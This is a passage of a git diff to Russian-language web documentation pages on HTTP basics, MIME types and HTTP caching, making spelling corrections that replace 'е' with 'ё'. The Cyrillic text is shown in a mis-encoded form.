ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° врСмя, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π² якорС. Π’Π°ΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰Π°ΡΡΡ с # - Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ пСрСсылаСтся сСрвСру Π² запросС.</dd>
</dl>
<h2 id="Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ_ΠΏΠΎ_использованию">Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎ использованию</h2>
diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html
index 415e4b9a5d..6bc0c3bc46 100644
--- a/files/ru/web/http/basics_of_http/index.html
+++ b/files/ru/web/http/basics_of_http/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTTP/Basics_of_HTTP
---
<div>{{HTTPSidebar}}</div>
-<p>HTTP ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». Он опираСтся Π½Π° нСсколько Π±Π°Π·ΠΎΠ²Ρ‹Ρ… понятий, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ: рСсурсы и URI (ΡƒΠ½ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ рСсурса), простая структура сообщСний ΠΈ тСхнология "ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСр" для общСния. Помимо этих Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ, Π·Π° послСдниС Π³ΠΎΠ΄Ρ‹ появилось мноТСство Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности ΠΈ Π½ΠΎΠ²ΡƒΡŽ сСмантику ΠΏΡƒΡ‚Π΅ΠΌ создания Π½ΠΎΠ²Ρ‹Ρ… HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</p>
+<p>HTTP ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». Он опираСтся Π½Π° нСсколько Π±Π°Π·ΠΎΠ²Ρ‹Ρ… понятий, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ: рСсурсы и URI (ΡƒΠ½ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ рСсурса), простая структура сообщСний ΠΈ тСхнология "ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСр" для общСния. Помимо этих Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ, Π·Π° послСдниС Π³ΠΎΠ΄Ρ‹ появилось мноТСство Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности ΠΈ Π½ΠΎΠ²ΡƒΡŽ сСмантику ΠΏΡƒΡ‚Ρ‘ΠΌ создания Π½ΠΎΠ²Ρ‹Ρ… HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</p>
<h2 id="Π‘Ρ‚Π°Ρ‚ΡŒΠΈ">Π‘Ρ‚Π°Ρ‚ΡŒΠΈ</h2>
@@ -20,7 +20,7 @@ translation_of: Web/HTTP/Basics_of_HTTP
<dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Π­Π²ΠΎΠ»ΡŽΡ†ΠΈΡ HTTP</a></dt>
<dd>HTTP Π±Ρ‹Π» создан Π² Π½Π°Ρ‡Π°Π»Π΅ 1990-Ρ… Π³ΠΎΠ΄ΠΎΠ² ΠΈ нСсколько Ρ€Π°Π· Π±Ρ‹Π» Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ ΠΎΠ±Π·ΠΎΡ€ Π΅Π³ΠΎ истории ΠΈ описываСт HTTP/0.9, HTTP/1.0, HTTP/1.1, ΠΈ соврСмСнный HTTP/2, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ нововвСдСния прСдставлСнныС Π² послСдниС нСсколько Π»Π΅Ρ‚.</dd>
<dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">ΠžΠ±ΡΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅Β Π²Π΅Ρ€ΡΠΈΠΈ HTTP</a></dt>
- <dd>ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΈ сСрвСр ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ вСрсии HTTP ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°.Β </dd>
+ <dd>ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΈ сСрвСр ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ вСрсии HTTP ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°.Β </dd>
<dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt>
<dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd>
<dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt>
diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
index 1b9703c33d..7ed2a10da0 100644
--- a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
+++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
@@ -9,7 +9,7 @@ translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
---
<div>{{HTTPSidebar}}</div>
-<div>Π—Π΄Π΅ΡΡŒ прСдставлСн ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ список Ρ‚ΠΈΠΏΠΎΠ² MIME, соотнСсСнных с типами докумСнтов и отсортированных ΠΏΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ.</div>
+<div>Π—Π΄Π΅ΡΡŒ прСдставлСн ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ список Ρ‚ΠΈΠΏΠΎΠ² MIME, соотнСсённых с типами докумСнтов и отсортированных ΠΏΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ.</div>
<div></div>
diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html
index 9e6efe7d3e..d292181c07 100644
--- a/files/ru/web/http/caching/index.html
+++ b/files/ru/web/http/caching/index.html
@@ -11,13 +11,13 @@ original_slug: Web/HTTP/ΠšΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅
---
<div>{{HTTPSidebar}}</div>
-<p><strong>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайтов ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Π·Π° счСт ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ использования Ρ€Π°Π½Π΅Π΅ получСнных рСсурсов. Π’Π΅Π±-ΠΊΠ΅ΡˆΠΈΒ ΡΠΎΠΊΡ€Π°Ρ‰Π°ΡŽΡ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΈ ΡΠ½ΠΈΠΆΠ°ΡŽΡ‚ сСтСвой Ρ‚Ρ€Π°Ρ„ΠΈΠΊ, ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ Ρ‚Π΅ΠΌ самым врСмя, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для отобраТСния рСсурсов. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTTP-ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, сайты становятся Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌΠΈ.</strong></p>
+<p><strong>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайтов ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Π·Π° счёт ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ использования Ρ€Π°Π½Π΅Π΅ получСнных рСсурсов. Π’Π΅Π±-ΠΊΠ΅ΡˆΠΈΒ ΡΠΎΠΊΡ€Π°Ρ‰Π°ΡŽΡ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΈ ΡΠ½ΠΈΠΆΠ°ΡŽΡ‚ сСтСвой Ρ‚Ρ€Π°Ρ„ΠΈΠΊ, ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ Ρ‚Π΅ΠΌ самым врСмя, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для отобраТСния рСсурсов. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTTP-ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, сайты становятся Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌΠΈ.</strong></p>
<h2 id="Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅_Π²ΠΈΠ΄Ρ‹_ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ">Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ</h2>
-<p>Π’Π΅Ρ…Π½ΠΈΠΊΠ° ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² сохранСнии ΠΊΠΎΠΏΠΈΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ рСсурса для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° этой ΠΊΠΎΠΏΠΈΠΈ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° дальнСйшиС запросы. Запрос Π½Π° рСсурс, ΡƒΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΡΡ Π² Π²Π΅Π±-кСшС, пСрСхватываСтся, ΠΈ вмСсто обращСния ΠΊ исходному сСрвСру выполняСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠΏΠΈΠΈ ΠΈΠ· кСша. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ сниТаСтся Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π½Π° сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π½Π΅ приходится самому ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ всСх ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ°Π΅Ρ‚ΡΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ β€”Β ΠΊΠ΅Ρˆ Π±Π»ΠΈΠΆΠ΅ ΠΊ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡƒΒ ΠΈ рСсурс пСрСдаСтся быстрСС. ΠšΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ являСтся основным источником ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Π΅Π±-сайтов. Однако, кСш Π½Π°Π΄ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ: рСсурсы Ρ€Π΅Π΄ΠΊΠΎ ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ копию трСбуСтся Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ рСсурс измСнился, Π½ΠΎ Π½Π΅ дольшС.</p>
+<p>Π’Π΅Ρ…Π½ΠΈΠΊΠ° ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² сохранСнии ΠΊΠΎΠΏΠΈΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ рСсурса для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° этой ΠΊΠΎΠΏΠΈΠΈ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° дальнСйшиС запросы. Запрос Π½Π° рСсурс, ΡƒΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΡΡ Π² Π²Π΅Π±-кСшС, пСрСхватываСтся, ΠΈ вмСсто обращСния ΠΊ исходному сСрвСру выполняСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠΏΠΈΠΈ ΠΈΠ· кСша. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ сниТаСтся Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π½Π° сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π½Π΅ приходится самому ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ всСх ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ°Π΅Ρ‚ΡΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ β€”Β ΠΊΠ΅Ρˆ Π±Π»ΠΈΠΆΠ΅ ΠΊ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡƒΒ ΠΈ рСсурс пСрСдаётся быстрСС. ΠšΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ являСтся основным источником ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Π΅Π±-сайтов. Однако, кСш Π½Π°Π΄ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ: рСсурсы Ρ€Π΅Π΄ΠΊΠΎ ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ копию трСбуСтся Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ рСсурс измСнился, Π½ΠΎ Π½Π΅ дольшС.</p>
-<p>БущСствуСт нСсколько Π²ΠΈΠ΄ΠΎΠ² кСшСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° Π΄Π²Π΅ основныС ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ: ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ кСши ΠΈ кСши совмСстного использования. Π’ ΠΊΠ΅ΡˆΠ°Ρ… совмСстного использования (shared cache) хранятся ΠΊΠΎΠΏΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Ρ€Π°Π·Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ кСш (private cache) ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π—Π΄Π΅ΡΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ Π² основном ΠΎ ΠΊΠ΅ΡˆΠ°Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ прокси, Π½ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ кСши шлюзов, CDN, рСвСрсныС прокси кСши ΠΈ балансировщики Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Ρ€Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π½Π° сСрвСрах для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ надСТности, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΠΈ Π²Π΅Π±-сайтов ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
+<p>БущСствуСт нСсколько Π²ΠΈΠ΄ΠΎΠ² кСшСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° Π΄Π²Π΅ основныС ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ: ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ кСши ΠΈ кСши совмСстного использования. Π’ ΠΊΠ΅ΡˆΠ°Ρ… совмСстного использования (shared cache) хранятся ΠΊΠΎΠΏΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Ρ€Π°Π·Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ кСш (private cache) ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π—Π΄Π΅ΡΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ Π² основном ΠΎ ΠΊΠ΅ΡˆΠ°Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ прокси, Π½ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ кСши шлюзов, CDN, рСвСрсныС прокси кСши ΠΈ балансировщики Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Ρ€Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π½Π° сСрвСрах для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ надёТности, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΠΈ Π²Π΅Π±-сайтов ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
<p><br>
<br>
@@ -27,7 +27,7 @@ original_slug: Web/HTTP/ΠšΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅
<h3 id="ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ_private_кСш_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ (private) кСш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h3>
-<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ кСш ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π’Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡΒ Π² настройках своСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. КСш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° содСрТит всС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΠΎ HTTP. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для доступа ΠΊ Ρ€Π°Π½Π΅Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ страницам ΠΏΡ€ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π½Π°Π·Π°Π΄/Π²ΠΏΠ΅Ρ€Π΅Π΄, позволяСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ страницы, ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΊΠΎΠ΄, Π½Π΅ ΠΎΠ±Ρ€Π°Ρ‰Π°ΡΡΡŒ лишний Ρ€Π°Π· ΠΊ сСрвСру. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, кСш ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΎΡ‚ сСти.</p>
+<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ кСш ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π’Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡΒ Π² настройках своСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. КСш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° содСрТит всС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΠΎ HTTP. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для доступа ΠΊ Ρ€Π°Π½Π΅Π΅ 